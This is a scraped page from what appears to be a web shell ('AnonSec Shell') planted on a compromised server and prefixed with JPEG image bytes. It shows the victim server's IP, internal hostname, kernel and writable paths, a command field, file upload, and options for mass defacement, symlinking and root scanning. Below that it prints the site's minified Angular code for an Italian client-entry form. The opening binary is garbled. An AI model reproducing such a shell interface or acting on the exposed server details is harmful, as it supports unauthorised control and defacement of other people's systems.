JFIF  H H C nxxd C "     &    !1A2Q"aqBb    1   ? R{~ ,.Y| @sl_޸s[+6ϵG};?2Y`&9LP ?3rj  "@V]:3T -G*P ( *(@AEY]qqqALn +Wtu?)l QU T* Aj- x:˸T u53Vh @PS@ ,i,!"\hPw+E@ ηnu ڶh% (Lvũbb- ?M֍݌٥IHln㏷L(6 9L^"6P  d&1H&8@TUT CJ%eʹFTj4i5=0g J &Wc+3kU@PS@HH33M * "Uc(\`F+b{RxWGk ^#Uj*v' V ,FYKɠMckZٸ]ePP  d\A2glo=WL(6 ^;k"ucoH"b ,PDVlvL_/:̗rN\m dcw T-O$w+FZ5T *Y~l: 99U)8ZAt@GLX*@bijqW;MᎹ،O[5*5*@=qusݝ *EPx՝.~ YИ 3M3@E)GTg%Anp P MUҀhԳW c֦iZ ffR 7qMcyAZT c0bZU k+oG<] APQ T A={PDti@c>>KÚ"q L.1P k6QY7t.k7o  <P &yַܼJZy Wz{UrS @ ~P)Y:A"]Y&ScVO%17 6l4 i4YR5 ruk* ؼdZͨZZ cLakb3N6æ\1`XTloTuT AA 7Uq@2ŬzoʼnБRͪ&8}: e}0ZNΖJ*Ս9˪ޘtao]7$ 9EjS} qt" ( .=Y:V#'H: δ4#6yjѥBB ;WD-ElFf67*\AmAD Q __'2$ TX 9nu'm@iPDT qS`%u%3[nY,  :g = tiX H]ij"+6Z* .~|05s6 ,ǡ ogm+ KtE-BF  ES@(UJ xM~8%g/= Vw[Vh 3lJT  rK -kˎY ٰ  ,ukͱٵf sXDP  ]p]&MS95O+j &f6m463@ t8ЕX=6}HR 5ٶ06 /@嚵*6  " hP@eVDiYQT `7tLf4c?m//B4 laj  L} :E  b#PHQb, yN`rkAb^ |} s4XB4 * ,@[{Ru+%le2} `,kI$U` >OMuh  P % ʵ/ L\5aɕVN1R6 3}ZLj-Dl@ *( K\^i@F@551 k㫖h  Q沬#h XV +;]6z OsFpiX $OQ ) ųl4 YtK'(W AnonSec Shell
AnonSec Shell
Server IP : 52.223.31.75  /  Your IP : 172.31.44.28   [ Reverse IP ]
Web Server : Apache/2.4.67 () OpenSSL/1.0.2k-fips PHP/7.4.33
System : Linux ip-172-31-14-184.eu-central-1.compute.internal 4.14.281-212.502.amzn2.x86_64 #1 SMP Thu May 26 09:52:17 UTC 2022 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
Domains : 4 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www_local/modis.angelopescatore.it/public/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www_local/modis.angelopescatore.it/public//12-es2015.94fe5333d188e2a4c35c.js
(window.webpackJsonp=window.webpackJsonp||[]).push([[12],{IzMM:function(e,t,i){"use strict";i.r(t),i.d(t,"ClientsModule",function(){return ee});var n=i("tyNb"),a=i("d2mR"),r=i("3Nfp"),c=i("fXoL"),o=i("3Pt+"),l=i("ofXK"),s=i("ZOsW"),b=i("sYmb");const d=function(e){return["form-control",e]},h=function(e){return["form-control","border-select",e]};let u=(()=>{class e{constructor(e){this.formChange=new c.n,this.validator=()=>{},this.removeEmpty=()=>{},this.fb=e,this.anagraficaGroup=this.fb.group({company_name:[""],vat_number:[""],fiscal_code:[""],status_client:[""],user_prospector:[""],client_industry:[""],head_office:[""],field_office1:[""],field_office2:[""],field_office3:[""]})}ngOnInit(){this.anagraficaGroup.valueChanges.subscribe(e=>{this.formChange.emit(e)})}}return e.\u0275fac=function(t){return new(t||e)(c.Pb(o.e))},e.\u0275cmp=c.Jb({type:e,selectors:[["app-client-insert-anagrafica"]],inputs:{form:"form",options:"options",validator:"validator",removeEmpty:"removeEmpty"},outputs:{formChange:"formChange"},decls:102,vars:74,consts:[[3,"formGroup"],[1,"row"],[1,"col-md-6"],[1,"card-body__title"],[1,"label-red-required"],[1,"form-group"],["type","text","formControlName","company_name",3,"ngClass"],[1,"form-group__bar"],[1,"invalid-tooltip"],[1,"card-body__title","d-inline"],["for","vat_number",1,"label-red-required"],[1,"form-group","mt-4"],[1,"toggle-switch","toggle-switch--modis"],["type","checkbox","formControlName","vat_number",1,"toggle-switch__checkbox"],[1,"toggle-switch__helper"],["type","text","formControlName","fiscal_code","pattern","^[\\w]{6}[0-9]{2}[\\w][0-9]{2}[\\w][0-9]{3}[\\w]$",3,"ngClass"],["bindLabel","status","bindValue","status","placeholder","","formControlName","status_client",3,"items","ngClass"],["bindLabel","name","bindValue","name","placeholder","","formControlName","user_prospector",3,"items","ngClass"],["bindLabel","name","bindValue","name","placeholder","","formControlName","client_industry",3,"items","ngClass","addTag","addTagText"],["type","text","formControlName","head_office",3,"ngClass"],["type","text","formControlName","field_office1",3,"ngClass"],["type","text","formControlName","field_office2",3,"ngClass"],["type","text","formControlName","field_office3",3,"ngClass"]],template:function(e,t){1&e&&(c.Vb(0,"form",0),c.Vb(1,"div",1),c.Vb(2,"div",2),c.Vb(3,"h3",3),c.Ic(4),c.hc(5,"translate"),c.Vb(6,"label",4),c.Ic(7,"*"),c.Ub(),c.Ub(),c.Vb(8,"div",5),c.Qb(9,"input",6),c.Qb(10,"i",7),c.Vb(11,"div",8),c.Ic(12,"{{'Il nome dell\\'azienda' \xe8 obbligatorio e non pu\xf2 superare i 30 caratteri!' | translate}} "),c.Ub(),c.Ub(),c.Ub(),c.Vb(13,"div",2),c.Vb(14,"h3",9),c.Ic(15),c.hc(16,"translate"),c.Vb(17,"label",10),c.Ic(18,"*"),c.Ub(),c.Ub(),c.Vb(19,"div",11),c.Vb(20,"div",12),c.Qb(21,"input",13),c.Qb(22,"i",14),c.Ub(),c.Ub(),c.Ub(),c.Vb(23,"div",2),c.Vb(24,"h3",3),c.Ic(25),c.hc(26,"translate"),c.Vb(27,"label",4),c.Ic(28,"*"),c.Ub(),c.Ub(),c.Vb(29,"div",5),c.Qb(30,"input",15),c.Qb(31,"i",7),c.Vb(32,"div",8),c.Ic(33),c.hc(34,"translate"),c.Ub(),c.Ub(),c.Ub(),c.Vb(35,"div",2),c.Vb(36,"h3",3),c.Ic(37),c.hc(38,"translate"),c.Vb(39,"label",4),c.Ic(40,"*"),c.Ub(),c.Ub(),c.Vb(41,"div",5),c.Qb(42,"ng-select",16),c.Ub(),c.Ub(),c.Vb(43,"div",2),c.Vb(44,"h3",3),c.Ic(45),c.hc(46,"translate"),c.Vb(47,"label",4),c.Ic(48,"*"),c.Ub(),c.Ub(),c.Vb(49,"div",5),c.Qb(50,"ng-select",17),c.Ub(),c.Ub(),c.Vb(51,"div",2),c.Vb(52,"h3",3),c.Ic(53),c.hc(54,"translate"),c.Vb(55,"label",4),c.Ic(56,"*"),c.Ub(),c.Ub(),c.Vb(57,"div",5),c.Qb(58,"ng-select",18),c.hc(59,"translate"),c.Vb(60,"div",8),c.Ic(61),c.hc(62,"translate"),c.Ub(),c.Ub(),c.Ub(),c.Vb(63,"div",2),c.Vb(64,"h3",3),c.Ic(65),c.hc(66,"translate"),c.Vb(67,"label",4),c.Ic(68,"*"),c.Ub(),c.Ub(),c.Vb(69,"div",5),c.Qb(70,"input",19),c.Qb(71,"i",7),c.Vb(72,"div",8),c.Ic(73),c.hc(74,"translate"),c.Ub(),c.Ub(),c.Ub(),c.Vb(75,"div",2),c.Vb(76,"h3",3),c.Ic(77),c.hc(78,"translate"),c.Vb(79,"label",4),c.Ic(80,"*"),c.Ub(),c.Ub(),c.Vb(81,"div",5),c.Qb(82,"input",20),c.Qb(83,"i",7),c.Ub(),c.Ub(),c.Vb(84,"div",2),c.Vb(85,"h3",3),c.Ic(86),c.hc(87,"translate"),c.Vb(88,"label",4),c.Ic(89,"*"),c.Ub(),c.Ub(),c.Vb(90,"div",5),c.Qb(91,"input",21),c.Qb(92,"i",7),c.Ub(),c.Ub(),c.Vb(93,"div",2),c.Vb(94,"h3",3),c.Ic(95),c.hc(96,"translate"),c.Vb(97,"label",4),c.Ic(98,"*"),c.Ub(),c.Ub(),c.Vb(99,"div",5),c.Qb(100,"input",22),c.Qb(101,"i",7),c.Ub(),c.Ub(),c.Ub(),c.Ub()),2&e&&(c.nc("formGroup",t.anagraficaGroup),c.Cb(4),c.Kc("",c.ic(5,28,"Nome azienda")," "),c.Cb(5),c.nc("ngClass",c.rc(56,d,t.validator("company_name",t.anagraficaGroup))),c.Cb(6),c.Kc("",c.ic(16,30,"Ha Partita Iva")," "),c.Cb(10),c.Kc("",c.ic(26,32,"Codice Fiscale")," "),c.Cb(5),c.nc("ngClass",c.rc(58,d,t.validator("fiscal_code",t.anagraficaGroup))),c.Cb(3),c.Kc(" ",c.ic(34,34,"Il codice fiscale \xe8 obbligatorio, \xe8 composto da 16 caratteri e deve essere correttamente formattato!")," "),c.Cb(4),c.Jc(c.ic(38,36,"Status")),c.Cb(5),c.nc("items",t.options.statusOptions)("ngClass",c.rc(60,h,t.validator("status_client",t.anagraficaGroup))),c.Cb(3),c.Jc(c.ic(46,38,"User Prospector")),c.Cb(5),c.nc("items",t.options.userProspectorOptions)("ngClass",c.rc(62,h,t.validator("user_prospector",t.anagraficaGroup))),c.Cb(3),c.Kc("",c.ic(54,40,"Settore")," "),c.Cb(5),c.nc("items",t.options.industryOptions)("ngClass",c.rc(64,h,t.validator("client_industry",t.anagraficaGroup)))("addTag",!0)("addTagText",c.ic(59,42,"Premi invio per aggiungere il nuovo valore")),c.Cb(3),c.Jc(c.ic(62,44,"Seleziona il settore dove hai svolto questa mansione!")),c.Cb(4),c.Kc("",c.ic(66,46,"Sede Centrale")," "),c.Cb(5),c.nc("ngClass",c.rc(66,d,t.validator("head_office",t.anagraficaGroup))),c.Cb(3),c.Kc("",c.ic(74,48,"La sede centrale \xe8 obbligatoria!")," "),c.Cb(4),c.Kc("",c.ic(78,50,"Succursale 1")," "),c.Cb(5),c.nc("ngClass",c.rc(68,d,t.validator("field_office1",t.anagraficaGroup))),c.Cb(4),c.Kc("",c.ic(87,52,"Succursale 2")," "),c.Cb(5),c.nc("ngClass",c.rc(70,d,t.validator("field_office2",t.anagraficaGroup))),c.Cb(4),c.Kc("",c.ic(96,54,"Succursale 3")," "),c.Cb(5),c.nc("ngClass",c.rc(72,d,t.validator("field_office3",t.anagraficaGroup))))},directives:[o.w,o.o,o.i,o.c,o.n,o.g,l.l,o.a,o.s,s.a],pipes:[b.c],styles:[""]}),e})();var m=i("S8xs");function g(e,t){if(1&e){const e=c.Wb();c.Vb(0,"span",28),c.cc("click",function(){c.Ac(e);const t=c.gc().index;return c.gc().referente.removeAt(t)}),c.Qb(1,"i",29),c.Ub()}}const p=function(e){return["form-control",e]};function f(e,t){if(1&e&&(c.Vb(0,"accordion-group",9),c.Vb(1,"button",10),c.Vb(2,"div",11),c.Ic(3),c.hc(4,"translate"),c.Ub(),c.Vb(5,"div",12),c.Vb(6,"span",13),c.Qb(7,"i",14),c.Ub(),c.Gc(8,g,2,0,"span",15),c.Ub(),c.Ub(),c.Vb(9,"div",16),c.Vb(10,"div",17),c.Vb(11,"h3",18),c.Ic(12),c.hc(13,"translate"),c.Vb(14,"label",19),c.Ic(15,"*"),c.Ub(),c.Ub(),c.Vb(16,"div",20),c.Qb(17,"input",21),c.Qb(18,"i",22),c.Vb(19,"div",23),c.Ic(20),c.hc(21,"translate"),c.Ub(),c.Ub(),c.Ub(),c.Vb(22,"div",17),c.Vb(23,"h3",18),c.Ic(24),c.hc(25,"translate"),c.Vb(26,"label",19),c.Ic(27,"*"),c.Ub(),c.Ub(),c.Vb(28,"div",20),c.Qb(29,"input",24),c.Qb(30,"i",22),c.Vb(31,"div",23),c.Ic(32),c.hc(33,"translate"),c.Ub(),c.Ub(),c.Ub(),c.Vb(34,"div",17),c.Vb(35,"h3",18),c.Ic(36),c.hc(37,"translate"),c.Vb(38,"label",19),c.Ic(39,"*"),c.Ub(),c.Ub(),c.Vb(40,"div",20),c.Qb(41,"input",25),c.Qb(42,"i",22),c.Vb(43,"div",23),c.Ic(44,"{{'Il ruolo dell'azienda \xe8 obbligatorio e non pu\xf2 superare i 30 caratteri!' | translate}}"),c.Ub(),c.Ub(),c.Ub(),c.Vb(45,"div",17),c.Vb(46,"h3",18),c.Ic(47),c.hc(48,"translate"),c.Vb(49,"label",19),c.Ic(50,"*"),c.Ub(),c.Ub(),c.Vb(51,"div",20),c.Qb(52,"input",26),c.Qb(53,"i",22),c.Vb(54,"div",23),c.Ic(55),c.hc(56,"translate"),c.Ub(),c.Ub(),c.Ub(),c.Vb(57,"div",17),c.Vb(58,"h3",18),c.Ic(59),c.hc(60,"translate"),c.Vb(61,"label",19),c.Ic(62,"*"),c.Ub(),c.Ub(),c.Vb(63,"div",20),c.Qb(64,"input",27),c.Qb(65,"i",22),c.Vb(66,"div",23),c.Ic(67),c.hc(68,"translate"),c.Ub(),c.Ub(),c.Ub(),c.Ub(),c.Ub()),2&e){const e=t.$implicit,i=t.index,n=c.gc();c.Cb(3),c.Kc(" ",e.controls.name.value?e.controls.name.value:c.ic(4,17,"Referente")+" #"+(i+1)," "),c.Cb(5),c.nc("ngIf",n.referente.length>1),c.Cb(1),c.nc("formGroup",e),c.Cb(3),c.Kc("",c.ic(13,19,"Nome")," "),c.Cb(5),c.nc("ngClass",c.rc(37,p,n.validator("name",e))),c.Cb(3),c.Kc("",c.ic(21,21,"Il nome \xe8 obbligatorio e non pu\xf2 superare i 30 caratteri!")," "),c.Cb(4),c.Kc("",c.ic(25,23,"Cognome")," "),c.Cb(5),c.nc("ngClass",c.rc(39,p,n.validator("surname",e))),c.Cb(3),c.Kc(" ",c.ic(33,25,"Il cognome \xe8 obbligatorio e non pu\xf2 superare i 30 caratteri!")," "),c.Cb(4),c.Kc("",c.ic(37,27,"Ruolo nell'Azienda")," "),c.Cb(5),c.nc("ngClass",c.rc(41,p,n.validator("company_role",e))),c.Cb(6),c.Kc("",c.ic(48,29,"Email")," "),c.Cb(5),c.nc("ngClass",c.rc(43,p,n.validator("email",e))),c.Cb(3),c.Kc(" ",c.ic(56,31,"La mail \xe8 obbligatoria e deve essere correttamente formattata!")," "),c.Cb(4),c.Kc("",c.ic(60,33,"Telefono")," "),c.Cb(5),c.nc("ngClass",c.rc(45,p,n.validator("phone",e))),c.Cb(3),c.Kc(" ",c.ic(68,35,"Il numero di telefono \xe8 obbligatorio e deve contenere solo numeri!")," ")}}let v=(()=>{class e{constructor(e){this.formChange=new c.n,this.validator=()=>{},this.removeEmpty=()=>{},this.fb=e,this.referente=this.fb.array([this.referenteGroup])}get referenteGroup(){return this.fb.group({name:[""],surname:[""],company_role:[""],email:[""],phone:[""]})}ngOnInit(){this.referente.valueChanges.subscribe(e=>{this.formChange.emit(e)})}}return e.\u0275fac=function(t){return new(t||e)(c.Pb(o.e))},e.\u0275cmp=c.Jb({type:e,selectors:[["app-client-insert-referent"]],inputs:{form:"form",options:"options",validator:"validator",removeEmpty:"removeEmpty"},outputs:{formChange:"formChange"},decls:14,vars:8,consts:[[1,"row"],[1,"col-md-12"],[1,"accordion",3,"closeOthers"],["isOpen","true",4,"ngFor","ngForOf"],[1,"col-md-12","text-right"],[1,"btn","btn-orange","mr-3","ml-3",3,"click"],[1,"mr-2","zmdi","zmdi-account-add"],[1,"btn","btn-dark",3,"click"],[1,"mr-2","zmdi","zmdi-delete"],["isOpen","true"],["accordion-heading","","type","button",1,"btn","btn-link","btn-block","w-100","justify-content-between","d-flex","shadow-none"],[1,"float-left","align-self-center"],[1,"float-right"],[1,"accordion-btn","align-self-center","ml-3","mr-2"],[1,"zmdi","zmdi-hc-2x","zmdi-chevron-down"],["class","accordion-btn align-self-center ml-3 mr-2",3,"click",4,"ngIf"],[1,"row",3,"formGroup"],[1,"col-md-6"],[1,"card-body__title"],[1,"label-red-required"],[1,"form-group"],["type","text","formControlName","name",3,"ngClass"],[1,"form-group__bar"],[1,"invalid-tooltip"],["type","text","formControlName","surname",3,"ngClass"],["type","text","formControlName","company_role",3,"ngClass"],["type","text","formControlName","email",3,"ngClass"],["type","text","formControlName","phone",3,"ngClass"],[1,"accordion-btn","align-self-center","ml-3","mr-2",3,"click"],[1,"zmdi","zmdi-hc-2x","zmdi-delete"]],template:function(e,t){1&e&&(c.Vb(0,"div",0),c.Vb(1,"div",1),c.Vb(2,"accordion",2),c.Gc(3,f,69,47,"accordion-group",3),c.Ub(),c.Ub(),c.Vb(4,"div",4),c.Qb(5,"br"),c.Vb(6,"a",5),c.cc("click",function(){return t.referente.push(t.referenteGroup)}),c.Qb(7,"i",6),c.Ic(8),c.hc(9,"translate"),c.Ub(),c.Vb(10,"a",7),c.cc("click",function(){return t.removeEmpty(t.referente)}),c.Qb(11,"i",8),c.Ic(12),c.hc(13,"translate"),c.Ub(),c.Ub(),c.Ub()),2&e&&(c.Cb(2),c.nc("closeOthers","true"),c.Cb(1),c.nc("ngForOf",t.referente.controls),c.Cb(5),c.Kc("",c.ic(9,4,"Aggiungi Referente")," "),c.Cb(4),c.Kc("",c.ic(13,6,"Rimuovi Referenti Vuoti")," "))},directives:[m.a,l.m,m.c,l.n,o.o,o.i,o.c,o.n,o.g,l.l],pipes:[b.c],styles:[""]}),e})();var _=i("SxV6"),C=i("vkgz"),V=i("KEHF"),U=i("PSD3"),y=i.n(U),S=i("6N5d");class I{}var z=i("/GDB");function x(e,t){if(1&e){const e=c.Wb();c.Vb(0,"a",24),c.cc("click",function(){return c.Ac(e),c.gc().currentStepIncrement()}),c.Qb(1,"i",25),c.Ic(2),c.hc(3,"translate"),c.Ub()}2&e&&(c.Cb(2),c.Kc("",c.ic(3,1,"Avanti")," "))}function k(e,t){1&e&&(c.Vb(0,"button",26),c.Qb(1,"i",25),c.Ic(2),c.hc(3,"translate"),c.Ub()),2&e&&(c.Cb(2),c.Kc("",c.ic(3,1,"Salva")," "))}function O(e,t){if(1&e){const e=c.Wb();c.Vb(0,"a",27),c.cc("click",function(){return c.Ac(e),c.gc().currentStepDecrement()}),c.Qb(1,"i",28),c.Ic(2),c.hc(3,"translate"),c.Ub()}2&e&&(c.Cb(2),c.Kc("",c.ic(3,1,"Indietro")," "))}let F=(()=>{class e{constructor(e,t,i,n,a){this.candidateService=t,this.router=i,this.translate=n,this.utilsService=a,this.fileToUpload=null,this.configurazioneWizard=[{step:0,name:"Anagrafica Cliente"},{step:1,name:"Referente"}],this.fb=e,this.inizializzaForm(),this.caricaDatiPerForm(),this.currentStep=0,this.setTitleStep()}currentStepIncrement(){this.currentStep<this.configurazioneWizard.length-1&&(this.currentStep++,this.setTitleStep())}currentStepDecrement(){this.currentStep>0&&(this.currentStep--,this.setTitleStep())}setCurrentStep(e){this.currentStep=e,this.setTitleStep()}setTitleStep(){this.configurazioneWizard.forEach(e=>{e.step==this.currentStep&&(this.titleStep="Riepilogo"!=e.name?"Inserimento "+e.name:e.name)})}changeLanguage(e){r.a.setLang(e)}ngOnInit(){}updateForm(e,t){this.insertForm.get(t).setValue(e)}inizializzaForm(){this.anagraficaFormOptions={userProspectorOptions:[],industryOptions:[],statusOptions:[]},this.referentFormOptions={languagesListOpt:[]},this.insertForm=this.fb.group({anagrafica:[],referent:[]})}get referent(){return this.insertForm.get("referent")}caricaDatiPerForm(){this.anagraficaFormOptions.userProspectorOptions=[{id:1,name:"Molly"},{id:2,name:"Maddy"},{id:3,name:"Luca"},{id:4,name:"Roland"}],this.anagraficaFormOptions.industryOptions=[{id:1,name:"IT"},{id:2,name:"Finance"}],this.utilsService.getAllLanguagesLevelOptions().pipe(Object(_.a)(),Object(C.a)(e=>{e.status&&(this.referentFormOptions.languagesLevelOpt=e.message)})).subscribe(),this.candidateService.getStatus().pipe(Object(_.a)(),Object(C.a)(e=>{e.status&&(this.anagraficaFormOptions.statusOptions=e.message)})).subscribe()}onSubmit(){let e=new I;this.insertForm.valid&&(e.company_name=this.insertForm.value.company_name,e.vat_number=this.insertForm.value.vat_number,e.fiscal_code=this.insertForm.value.fiscal_code,e.status_client=this.insertForm.value.status_client,e.user_prospector=this.insertForm.value.user_prospector,e.client_industry=this.insertForm.value.client_industry,e.head_office=this.insertForm.value.head_office,e.field_office1=this.insertForm.value.field_office1,e.field_office2=this.insertForm.value.field_office2,e.field_office3=this.insertForm.value.field_office3)}validateField(e,t){let i="",n=(t||this.insertForm).get(e);return n&&n.value&&(i=n.valid?"is-valid":"is-invalid"),i}backToClientList(){y.a.fire({title:"Sei sicuro di voler tornare alla lista dei candidati?",text:"Attenzione: Tornando alla lista dei candidati tutti i dati inseriti fin ora verrano persi.",footer:"Se vuoi prima salvare i tuoi dati clicca su  <b>Annulla</b> e poi sul pulsante in fondo alla pagina  <b>Salva</b>!",showDenyButton:!0,icon:"warning",confirmButtonText:"Vai alla Lista Candidati",denyButtonText:"Annulla"}).then(e=>{e.isConfirmed&&this.router.navigate(["/candidates"])})}addFormGroup(e,t){this[t]&&this[t]instanceof o.h&&e.push(this[t])}removeEmptyFormGroup(e,t=!1){var i=[];e.value.map((e,t)=>{let n=!0;for(const i in e)if(e[i]&&""!=e[i]){n=!1;break}1==n&&i.push(t)});let n=0;for(const a of i)(e.length>1||t)&&(e.removeAt(a-n),n++)}}return e.\u0275fac=function(t){return new(t||e)(c.Pb(o.e),c.Pb(V.a),c.Pb(n.f),c.Pb(r.a),c.Pb(S.a))},e.\u0275cmp=c.Jb({type:e,selectors:[["client-insert"]],decls:36,vars:25,consts:[[1,"content__title","row"],[1,"col-4"],[1,"col-8","text-right"],[1,"actions"],[1,"btn","btn-dark","mod","btn--icon-text",3,"click"],[1,"zmdi","zmdi-arrow-left"],[1,"d-none","d-sm-inline"],[1,"card"],[1,"card-body","p-2"],[3,"config","currentStep","stepChange"],[1,"row"],[1,"col-12"],[1,"card-body","pb-0"],[1,"col-md-12"],[1,"card-title"],[1,"card-subtitle"],[1,"card-body"],[3,"formGroup","ngSubmit"],[3,"hidden","validator","options","formChange"],[3,"hidden","validator","options","removeEmpty","formChange"],[1,"col-md-12","mt-5"],["class","btn btn-orange right mr-3 ml-3",3,"click",4,"ngIf"],["class","btn btn-orange right mr-3 ml-3",4,"ngIf"],["class","btn btn-dark right",3,"click",4,"ngIf"],[1,"btn","btn-orange","right","mr-3","ml-3",3,"click"],[1,"zmdi","zmdi-next"],[1,"btn","btn-orange","right","mr-3","ml-3"],[1,"btn","btn-dark","right",3,"click"],[1,"zmdi","zmdi-prev"]],template:function(e,t){1&e&&(c.Vb(0,"header",0),c.Vb(1,"div",1),c.Vb(2,"h1"),c.Ic(3),c.hc(4,"translate"),c.Ub(),c.Ub(),c.Vb(5,"div",2),c.Vb(6,"div",3),c.Vb(7,"button",4),c.cc("click",function(){return t.backToClientList()}),c.Qb(8,"i",5),c.Vb(9,"span",6),c.Ic(10),c.hc(11,"translate"),c.Ub(),c.Ub(),c.Ub(),c.Ub(),c.Ub(),c.Vb(12,"div",7),c.Vb(13,"div",8),c.Vb(14,"app-wizard-manager",9),c.cc("stepChange",function(e){return t.setCurrentStep(e)}),c.Ub(),c.Ub(),c.Ub(),c.Vb(15,"div",10),c.Vb(16,"div",11),c.Vb(17,"div",7),c.Vb(18,"div",12),c.Vb(19,"div",10),c.Vb(20,"div",13),c.Vb(21,"h4",14),c.Ic(22),c.hc(23,"translate"),c.Ub(),c.Vb(24,"h6",15),c.Ic(25),c.hc(26,"translate"),c.Ub(),c.Ub(),c.Ub(),c.Ub(),c.Vb(27,"div",16),c.Vb(28,"form",17),c.cc("ngSubmit",function(){return t.onSubmit()}),c.Vb(29,"app-client-insert-anagrafica",18),c.cc("formChange",function(e){return t.updateForm(e,"anagrafica")}),c.Ub(),c.Vb(30,"app-client-insert-referent",19),c.cc("formChange",function(e){return t.updateForm(e,"referent")}),c.Ub(),c.Vb(31,"div",10),c.Vb(32,"div",20),c.Gc(33,x,4,3,"a",21),c.Gc(34,k,4,3,"button",22),c.Gc(35,O,4,3,"a",23),c.Ub(),c.Ub(),c.Ub(),c.Ub(),c.Ub(),c.Ub(),c.Ub()),2&e&&(c.Cb(3),c.Jc(c.ic(4,17,"Inserimento Cliente")),c.Cb(7),c.Jc(c.ic(11,19,"Torna a Lista Clienti")),c.Cb(4),c.nc("config",t.configurazioneWizard)("currentStep",t.currentStep),c.Cb(8),c.Kc(" ",c.ic(23,21,t.titleStep)," "),c.Cb(3),c.Kc("",c.ic(26,23,"Inserisci qui i dati del cliente.")," "),c.Cb(3),c.nc("formGroup",t.insertForm),c.Cb(1),c.nc("hidden",0!=t.currentStep)("validator",t.validateField)("options",t.anagraficaFormOptions),c.Cb(1),c.nc("hidden",1!=t.currentStep)("validator",t.validateField)("options",t.referentFormOptions)("removeEmpty",t.removeEmptyFormGroup),c.Cb(3),c.nc("ngIf",t.currentStep<t.configurazioneWizard.length-1),c.Cb(1),c.nc("ngIf",t.currentStep==t.configurazioneWizard.length-1),c.Cb(1),c.nc("ngIf",t.currentStep>0))},directives:[z.a,o.w,o.o,o.i,u,v,l.n],pipes:[b.c],styles:[".p0[_ngcontent-%COMP%]{padding:0}.m0[_ngcontent-%COMP%]{margin:0}.mod[_ngcontent-%COMP%]{background-color:#ffb81c;color:#000}@media (min-width:768px){.profile[_ngcontent-%COMP%]{display:flex;align-items:center;flex-direction:row}}@media (max-width:767.98px){.profile[_ngcontent-%COMP%]{margin-top:75px;text-align:center}}.profile__img[_ngcontent-%COMP%]{padding:5px;position:relative}.profile__img[_ngcontent-%COMP%]   img[_ngcontent-%COMP%]{max-width:200px;border-radius:2px}@media (max-width:767.98px){.profile__img[_ngcontent-%COMP%]   img[_ngcontent-%COMP%]{margin:-55px 0 -10px;width:120px;border:5px solid #fff;border-radius:50%}}.profile__img__edit[_ngcontent-%COMP%]{position:absolute;font-size:1.2rem;top:15px;left:15px;background-color:rgba(0,0,0,.4);width:30px;height:30px;line-height:30px;border-radius:50%;text-align:center;color:#fff}.profile__img__edit[_ngcontent-%COMP%]:hover{background-color:rgba(0,0,0,.65);color:#fff}.profile__info[_ngcontent-%COMP%]{padding:30px}.nav-tabs[_ngcontent-%COMP%]:not([class*=nav-tabs--])   .nav-link.active[_ngcontent-%COMP%]{color:orange;font-weight:700}.nav-tabs[_ngcontent-%COMP%]   .nav-link[_ngcontent-%COMP%]:before{background:orange}.wp-100[_ngcontent-%COMP%]{min-width:100px}.right[_ngcontent-%COMP%]{float:right;margin-right:1pt}.textareaCustom[_ngcontent-%COMP%]{min-height:60px;height:auto;max-height:40vh;overflow-y:hidden;word-wrap:break-word}.boxer-multiselect-modis[_ngcontent-%COMP%]{background:#ffb81c;box-sizing:border-box;border:#e9ecef;color:#000;cursor:pointer;font-size:13.5px;padding:12px;margin-bottom:2px}.i-delete-hover[_ngcontent-%COMP%]:hover{color:orange}"]}),e})();var w=i("ijA0"),P=i("zEtD"),M=i("AytR"),A=i("WD1m"),Q=i("tk/3");let L=(()=>{class e{constructor(e,t){this.http=e,this.authorizationService=t}getClients(){return this.http.get(M.a.apiUrl+"clients",this.authorizationService.getAuthorization())}}return e.\u0275fac=function(t){return new(t||e)(c.Zb(Q.b),c.Zb(A.a))},e.\u0275prov=c.Lb({token:e,factory:e.\u0275fac,providedIn:"root"}),e})();var G=i("W/eW"),K=i("Mfq2");const N=["Selecter"];function J(e,t){if(1&e&&(c.Vb(0,"div"),c.Vb(1,"div",32),c.cc("click",function(){const e=t.$implicit;return e.active=!e.active}),c.Qb(2,"i"),c.Ic(3),c.hc(4,"translate"),c.Ub(),c.Ic(5," \xa0 "),c.Ub()),2&e){const e=t.$implicit;c.Cb(1),c.nc("ngClass",e.active?"badge-warning":"badge-light"),c.Cb(1),c.Fb("zmdi zmdi-",e.active?"minus-circle-outline":"plus-circle-o",""),c.Cb(1),c.Kc(" ",c.ic(4,5,e.name)," ")}}function E(e,t){if(1&e){const e=c.Wb();c.Tb(0),c.Vb(1,"div",35),c.Vb(2,"div",36),c.Vb(3,"h3",37),c.Ic(4),c.hc(5,"translate"),c.hc(6,"translate"),c.Ub(),c.Vb(7,"app-datetime-manager",38),c.cc("modelChange",function(t){c.Ac(e);const i=c.gc().$implicit;return c.gc(2).advSearchForm.controls[i.key+"_start"].value=t}),c.hc(8,"translate"),c.Ub(),c.Ub(),c.Ub(),c.Vb(9,"div",35),c.Vb(10,"div",36),c.Vb(11,"h3",37),c.Ic(12),c.hc(13,"translate"),c.hc(14,"translate"),c.Ub(),c.Vb(15,"app-datetime-manager",38),c.cc("modelChange",function(t){c.Ac(e);const i=c.gc().$implicit;return c.gc(2).advSearchForm.controls[i.key+"_end"].value=t}),c.hc(16,"translate"),c.Ub(),c.Ub(),c.Ub(),c.Sb()}if(2&e){const e=c.gc().$implicit,t=c.gc(2);c.Cb(4),c.Lc("",c.ic(5,8,e.name)," ",c.ic(6,10,"Inizio"),""),c.Cb(3),c.nc("model",t.advSearchForm.controls[e.key+"_start"].value)("placeholder",c.ic(8,12,"Inserire il valore")),c.Cb(5),c.Lc("",c.ic(13,14,e.name)," ",c.ic(14,16,"Fine"),""),c.Cb(3),c.nc("model",t.advSearchForm.controls[e.key+"_end"].value)("placeholder",c.ic(16,18,"Inserire il valore"))}}function T(e,t){if(1&e&&(c.Vb(0,"div",36),c.Qb(1,"input",40),c.Qb(2,"i",41),c.Ub()),2&e){const e=c.gc(2).$implicit;c.Cb(1),c.oc("formControlName",e.key)}}function q(e,t){if(1&e&&(c.Vb(0,"div",36),c.Qb(1,"ng-select",42),c.hc(2,"translate"),c.Ub()),2&e){const 